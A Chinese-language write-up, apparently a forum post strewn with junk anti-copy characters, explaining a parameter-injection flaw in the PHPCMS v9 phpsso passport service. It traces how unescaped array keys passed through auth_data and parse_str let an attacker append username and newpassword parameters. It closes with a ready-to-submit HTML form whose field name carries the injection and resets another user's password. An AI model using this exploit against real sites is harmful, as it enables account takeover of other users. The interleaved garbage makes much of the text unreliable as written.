提到的通行证的代码:
& o) C2 }" C; {; S7 T( i- {, s# w e5 b
! D% `* ^1 ]/ {! l- b, X2 T" Q/ l+ o, sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
, ?( P6 Q8 u; }6 ^. ]" {0 E' }) q0 t- z1 i1 L4 F2 W
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。- z# s3 y- M+ ^& c
; A5 c; V* B6 }2 ^& |/ Z我把它留给了你们。
1 M: i. J4 Y2 M" K, a, {- a不知道你们发现了它没有。
/ t8 I: u7 Y$ Z8 s1 @3 p+ Q' s- t
: R5 ^2 z" g" v$ q$ C/ J4 ?8 z$ X我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ ~% {7 \7 ]7 E _
( _) Q$ M l5 A- H) m4 B4 q0 Y所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。3 @+ [: K4 R* h' w+ X
5 w$ h( l: j* G- D* j+ _
也就是3 S3 l! ^( F& C$ T5 \& p2 n0 j
) [- N' T7 g5 } G. Z H" d
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; E+ c! t, _$ U$ v
, l# E3 q# y* c7 s" |. X* ?- j: ^要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。: P* g: ]7 [4 ]- A4 p, b4 P
; e0 a7 c# I# I) k# |5 \
6 Y* P* D& c; m- s% U5 O其实我们有这样的机会,看看代码,如下:
) b* I$ y W* D
v5 o+ T1 n+ s# j) P& Y
" b j+ c4 {# n, {6 U% npublic function auth_data($data) {
f, @ h: C$ _/ o9 c- _% P9 \ $s = $sep = '';3 v' J* F" w& f2 \5 r
foreach($data as $k => $v) {8 ~6 W9 X: J0 D* Y- @ }# D" a0 c
if(is_array($v)) {
4 f2 s7 d! `5 v: R$ v3 p3 c $s2 = $sep2 = '';% |5 `# x r$ P1 G: t" h* v4 ]- g
foreach($v as $k2 => $v2) {: t( n6 d+ }% b K, W
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);! ]/ N4 R- u+ Q, P4 `/ j
$sep2 = '&';
y( n& ^, \( c6 @# |' R }
# x5 v) @( v$ x $s .= $sep.$s2;
4 U* i1 \+ v. u5 ^( i" U: d } else {% m8 ]: O0 k0 c7 P; j5 q6 e/ H5 P; K5 x
$s .= "$sep$k=".$this->_ps_stripslashes($v);: b }" h' c. G; m0 q
}" v2 V+ x( i) }
$sep = '&';" Q# h" J$ \& J: e1 S% r
}/ }* T. x6 U: }; J' r
8 ?/ b0 W! }" O0 E. P, ]5 j# D% Z
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));" p) b7 D" n& ~' C* ]7 u
return $auth_s;( F" a5 f6 D" y, I- |7 F( h
}1 R0 [3 K* }* z) j, G- Z' M
2 x" X8 B4 _! b. \6 r8 b! H可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。) P7 s1 ^- }$ [/ z
. X4 G; k7 ?4 G0 [# H8 }- ^举个例子& P0 k$ O0 R* Z3 \2 w
4 X( Q; L. u$ h$a[aaa=a&bbb] = 'a';1 N, A' w" r' ^
}; B! Y* M# ?
会变成aaa=a&bbb=a# I- p. [5 `. O+ \* x. X9 C6 Z
& L' q. X) U; h7 h" O
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
M' ~1 A3 I- Z/ A- H. k) e) j: F" M- C6 v9 x+ v% K# n, K0 R
这个时候,我们可以再去看一个函数。
* l) _. y3 V" F. Y! c; q- s+ i
' V! @* X2 k, @, v1 w就在这个文件内:
; }/ ~- H& n6 Z2 u2 |' V
$ `" v' t, X! J8 V% ]; K
" U O# B( T4 S2 p& {# ipublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
* L" T- s3 N& h2 c( I if($email && !$this->_is_email($email)) {
) H3 g5 P1 M, G5 B& a# M5 Z" @- V% m return -4;; T, K( }% v' A2 ? S6 O
}9 S2 k! s- u# o1 a" Z
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
1 J# _7 F6 T7 U4 ~# B }8 B( n2 `. w% R+ ?: @! U6 y, A
5 g8 W3 G1 R( ^& a/ A这是向通行证发了这样一个请求。
8 k$ `# C# E6 X0 i2 s# v: i
: l9 F1 ?& T9 H4 \我们再跟到通信证代码里去看看,就会有所发现。
/ v* s) Q" }" Z
$ H) K+ Y3 g0 J3 O: j
2 A5 K8 }' I( E3 f/ |4 w! spublic function edit() {
F# R3 z; Z2 d, J- x$ S: r//能省就省,太长了不是吗?1 l$ ~- [5 Z$ I x
1 q2 J2 @6 _* _$ ~0 I5 c
if($this->username) {
: k, M% Y1 }6 F# D+ `; ?" O//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。1 o9 }, x, L# Y" @! d8 k' D& B
$res = $this->db->update($data, array('username'=>$this->username));( G' s% Q* U, \+ l
} else {
, q4 J; U, o+ m; \2 L, @* y: V file_put_contents('typeb.txt',print_r($data,1).$this->uid);8 R* ~7 H) K0 E/ F& `: c# s
$res = $this->db->update($data, array('uid'=>$this->uid));8 q2 ]: n5 p4 U- E* [( x5 a
}/ O4 g' K' @$ h7 u% C9 @
( E4 I8 f. @# `1 j1 u; @ U好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:5 @& f( Z! F8 D
: U, y" D! L1 n U4 X# vpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. w7 E* @* P% ]- @0 q, ^8 G" z. k1 V T& s: [
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
7 t) F# r. r9 n: N8 o `5 J* {
$ g+ w m, g4 ^+ e2 h& o我当然找到了:1 u" ]5 O# K( o9 o X Y2 o W. s
phpcms9/phpcms/modules/member/index.php3 U+ u* I% W& [1 a4 Q }2 \
) F* a- s+ Z8 h# F( a/ V' ?0 g4 \
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
4 w5 f% L* T# K) Z0 p! k) P9 ] q( e8 K% a9 \: Z7 i
然后就没有然后了。
! N7 I% n$ Y) ?- N7 |
8 Y2 r2 y* |% e' v' i<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
+ S- u* X' Y6 p1 p0 a <table width="100%" cellspacing="0" class="table_form">
( ]7 B6 @. A' Q! z+ v <tr>1 @0 }2 d7 D. F+ t! r) K
<th width="80">邮箱:</th>
' }: o- j- \+ w7 C0 ]2 U <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 A& Y Q0 b8 C t </tr>7 d3 w" `) m% [
<tr>
0 E) |) I0 g) W! i# O9 f9 r( \ <th width="80">原密码:</th> 6 d: u9 }+ g7 s' S# q4 u5 }
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>& b4 D/ L. S2 x' w: ~( W
</tr>1 h- T3 f7 S c7 v$ l0 X. l3 E5 L% W
<tr>
' c A% U5 N- M$ X0 Y <th>新密码:</th>
. s9 ^- a5 x9 d! e+ c <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
6 `0 J( h6 n1 F* L3 E3 `+ f </tr>
# W, V4 V [3 v <th></th>9 G$ I% H& d7 d N3 f/ s
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
. Q. B- q; A$ ~' J </tr>& c8 H. P" Y# k% b% H) q% |2 Q
</table>
, U0 ^7 D' n- T% P7 \7 H
$ x3 T! U( n/ [. }$ h' U' V * W# {' I0 S: B# l- D- }+ p
</form>
$ Y6 n1 ?; J6 C- z3 Z |